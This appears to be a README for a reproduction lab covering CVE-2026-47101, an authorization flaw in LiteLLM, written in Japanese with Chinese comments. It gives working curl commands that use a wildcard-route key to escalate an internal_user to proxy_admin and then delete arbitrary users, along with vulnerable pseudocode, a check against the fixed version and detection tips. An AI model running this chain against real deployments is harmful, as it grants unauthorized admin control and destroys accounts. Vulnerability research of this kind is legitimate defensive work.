
対応する脆弱性を自身で再現するためのコード
/key/generate + /user/updateLiteLLM v1.82.6(v1.83.14 より前のバージョン)の
/key/generateエンドポイントは、低権限のinternal_userがワイルドカードルート["/*"]を持つ API キーをリクエストでき、続いて/user/updateエンドポイント経由で自身のロールをproxy_adminに昇格させ、認可されていない権限昇格を実現できます。
| Field | Value |
|---|---|
| CVE | CVE-2026-47101 |
| CVSS v3.1 | 8.8 (HIGH) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-863 (Incorrect Authorization) |
| Affected | LiteLLM < 1.83.14(v1.82.6 で確認) |
| Fixed | v1.83.14+(allowed_routes ロール検証を追加) |
| Published | 2026-05-21 |
| Discovered by | Fenix Qiao (13ph03nix) — Obsidian Security |
| Links | NVD |
LiteLLM の /key/generate エンドポイントは API キーの生成に使用され、/user/update はユーザー属性の更新に使用されます。この 2 つのエンドポイントの認可チェックには、連鎖する 3 つの欠陥があり、低権限ユーザーが組み合わせて悪用できます。
/key/generate が allowed_routes を検証しない — 任意のロール(internal_user を含む)が ["/*"] ワイルドカードルートをリクエスト可能allowed_routes のワイルドカードマッチにフォールバックする — 生成されたワイルドカードキーはすべての管理エンドポイントにアクセス可能/user/update が user_role フィールドの自己変更を許可する — ワイルドカードキーを利用して自身のロールを proxy_admin に昇格可能internal_user
→ POST /key/generate {"allowed_routes": ["/*"]}
→ 获得通配符 API key
→ POST /user/update {"user_id": "...", "user_role": "proxy_admin"}
→ 角色提升为 proxy_admin
→ GET /user/list (使用通配符 key)
→ 验证管理员访问权限
# 1. 启动 PostgreSQL + 有漏洞的 LiteLLM(v1.82.6,digest 固定)
docker compose up -d litellm
# 等待服务就绪(约 10-30 秒)
sleep 15
# 检查容器日志
docker logs litellm-privesc 2>&1 | tail -10
期待される出力には、Uvicorn running on http://0.0.0.0:4000 などの起動成功ログが含まれている必要があります。
master key を使用して、低権限の internal_user アカウントを作成します:
curl -s -X POST http://localhost:4000/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"role": "internal_user"}'
期待される出力:
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"}
返された user_id と key を控えておきます。以降の手順で必要になります。
internal_user として /key/generate を呼び出し、["/*"] ワイルドカードルートを持つ API キーをリクエストします:
# 将 sk-internal-user-key 替换为上一步获得的 key
curl -s -X POST http://localhost:4000/key/generate \
-H "Authorization: Bearer sk-internal-user-key" \
-H "Content-Type: application/json" \
-d '{"allowed_routes": ["/*"]}'
期待される出力:
{"key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","allowed_routes":["/*"]}
⚠️ 脆弱性ポイント:
internal_userが["/*"]ワイルドカードルート付きの API キーを生成できてしまいました! このキーは/user/update、/user/listなど、すべての管理エンドポイントにアクセスできます。
ワイルドカードルートキーを使用して /user/update を呼び出し、ユーザーロールを proxy_admin に昇格させます:
curl -s -X POST http://localhost:4000/user/update \
-H "Authorization: Bearer sk-wildcard-key" \
-H "Content-Type: application/json" \
-d '{"user_id": "your-user-id", "user_role": "proxy_admin"}'
期待される出力:
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","data":{"user_role":"proxy_admin",...}}
⚠️ 脆弱性ポイント:
user_roleがinternal_userからproxy_adminに変更されました!/user/updateエンドポイントは、ユーザーが自身のuser_roleフィールドを変更することを許可しており、権限チェックは一切行われません。
/user/list エンドポイントを通じて、ロール昇格が有効になったことを検証します:
curl -s -X GET http://localhost:4000/user/list \
-H "Authorization: Bearer sk-wildcard-key"
期待される出力:
{"users":[{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","user_role":"proxy_admin",...}]}
/user/listエンドポイントはproxy_adminロールのみアクセスを許可します。ユーザーリストの取得に成功したことで、権限昇格が有効になったことが確認できます。
取得した proxy_admin 権限を利用して、/user/delete で任意のユーザーを削除できます:
curl -s -X POST http://localhost:4000/user/delete \
-H "Authorization: Bearer sk-wildcard-key" \
-H "Content-Type: application/json" \
-d '{"user_ids": ["user-id-to-delete"]}'
期待される出力:
1
上記の手順は demo.sh にまとめられており、直接実行できます:
# 完整复现(包含步骤 1-5)
bash demo.sh
# 同时测试修复版本对比
bash demo.sh --fixed
修正版(v1.83.14-stable)を起動して、脆弱性が修正されたことを検証します:
# 启动修复版本
docker compose --profile fixed up -d litellm-fixed
# 等待就绪
sleep 15
internal_user を作成:
FIXED_USER_KEY=$(curl -s -X POST http://localhost:4001/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"role": "internal_user"}' | \
python3 -c "import sys,json; print(json.load(sys.stdin).get('key',''))")
echo "Fixed user key: $FIXED_USER_KEY"
ワイルドカードルートのキーを生成してみます(ブロックされることを期待):
curl -s -X POST http://localhost:4001/key/generate \
-H "Authorization: Bearer $FIXED_USER_KEY" \
-H "Content-Type: application/json" \
-d '{"allowed_routes": ["/*"]}'
期待される出力(修正版では権限外のリクエストがブロックされます):
{"error":{"message":"Not allowed","type":"auth_error","code":"403"}}
脆弱性のあるバージョンとの比較:
| テストシナリオ | 脆弱性のあるバージョン (v1.82.6) | 修正版 (v1.83.14) |
|---|---|---|
internal_user が ["/*"] をリクエスト | ✅ ワイルドカードキーの生成に成功 |
POST /key/generate新しい API キーを生成します。allowed_routes パラメータは、キーがアクセスできるエンドポイントのルートリストを制限するために使用されます。
| Field | Type | Required | Description |
|---|---|---|---|
allowed_routes | array | No | 許可されるルートのリスト。例: ["/*"] はすべてのルートを意味します |
POST /user/updateユーザー属性を更新します。user_role フィールドも含みます。
| Field | Type | Required | Description |
|---|---|---|---|
user_id | string | Yes | 更新対象のユーザー ID |
internal_user として /key/generate を呼び出し、["/*"] を持つキーをリクエストします:
POST /key/generate
Authorization: Bearer sk-internal-user-key
Content-Type: application/json
{"allowed_routes": ["/*"]}
レスポンスには新しい API キーが含まれており、このキーはワイルドカードルート権限を持ちます。
ワイルドカードキーを使用して /user/update を呼び出します:
POST /user/update
Authorization: Bearer sk-wildcard-key
Content-Type: application/json
{"user_id": "target-user-id", "user_role": "proxy_admin"}
GET /user/list
Authorization: Bearer sk-wildcard-key
脆弱性の根本原因は、3 つの独立した認可チェックの欠如にあります:
/key/generate — allowed_routes のロール検証の欠如/key/generate エンドポイントは allowed_routes パラメータを受け入れ、それをキーに直接関連付けますが、リクエスト元のロールを検証しません。internal_user であっても、管理者レベルのルート権限をリクエストできます。
# 有漏洞的伪代码 — 未校验角色
@app.post("/key/generate")
async def generate_key(params, user_api_key_dict):
# 仅验证了 API key 有效性
# 未检查 user_role 是否允许请求 allowed_routes
allowed_routes = params.get("allowed_routes", [])
new_key = create_key(user=user, allowed_routes=allowed_routes)
return {"key": new_key}
ミドルウェアはルート権限をチェックする際、ユーザーロールレベルの認可チェックが失敗すると、API キーの allowed_routes リストのチェックにフォールバックします。["/*"] がすべてのルートにマッチするため、すべての管理エンドポイントが許可されます。
# 有漏洞的伪代码 — 路由检查回退逻辑
async def authorize_request(request, api_key):
# 用户角色检查失败后回退到 allowed_routes
if not user_role_authorized(request, api_key.user):
# 检查 allowed_routes — ["/*"] 匹配所有
if not any(match_route(route, request.path) for route in api_key.allowed_routes):
return HTTP_403
return HTTP_200
/user/update — user_role の自己変更を許可/user/update エンドポイントはユーザー属性を更新する際、ユーザーが自身の user_role フィールドを変更することを制限なしで許可します。ユーザーロールを変更できるのは proxy_admin ロールのみであるべきです。
# 有漏洞的伪代码 — 未限制 user_role 修改
@app.post("/user/update")
async def update_user(params, user_api_key_dict):
user_id = params.get("user_id")
updates = {}
if "user_role" in params:
updates["user_role"] = params["user_role"] # 未做权限校验!
update_user_in_db(user_id, updates)
return {"user_id": user_id, "data": updates}
修正版では、以下の 3 つの側面で認可チェックが追加されています:
/key/generate — allowed_routes パラメータの検証を追加:一般ユーザーは管理者レベルのルート権限をリクエストできないallowed_routes より優先されることを保証/user/update — user_role フィールドの変更権限を制限:proxy_admin のみユーザーロールを変更可能CVE-2026-47101/
├── README.md # This file
├── CVE-2026-47101_漏洞复现报告.docx # Reproduction report (Chinese)
├── docker-compose.yml # PostgreSQL + vulnerable/fixed LiteLLM
├── config.yaml # LiteLLM config with database connection
├── requirements.txt # Python dependencies
├── demo.sh # One-click reproduction script
├── exploit/
│ ├── exploit.py # Python exploit script
│ └── payload.py # Payload builders
├── docs/
└── screenshots/
allowed_routes/user/update calls with user_role changes for anomalous activityDisclaimer: This content is provided for educational purposes and authorized security testing only.
| ❌ ブロック(HTTP 403) |
| ワイルドカードキーで user_role を変更 | ✅ proxy_admin への昇格に成功 | ❌ ブロック |
| ワイルドカードキーで /user/list にアクセス | ✅ ユーザーリストの取得に成功 | ❌ ブロック |
user_role | string | Yes | 新しいロール(例: proxy_admin) |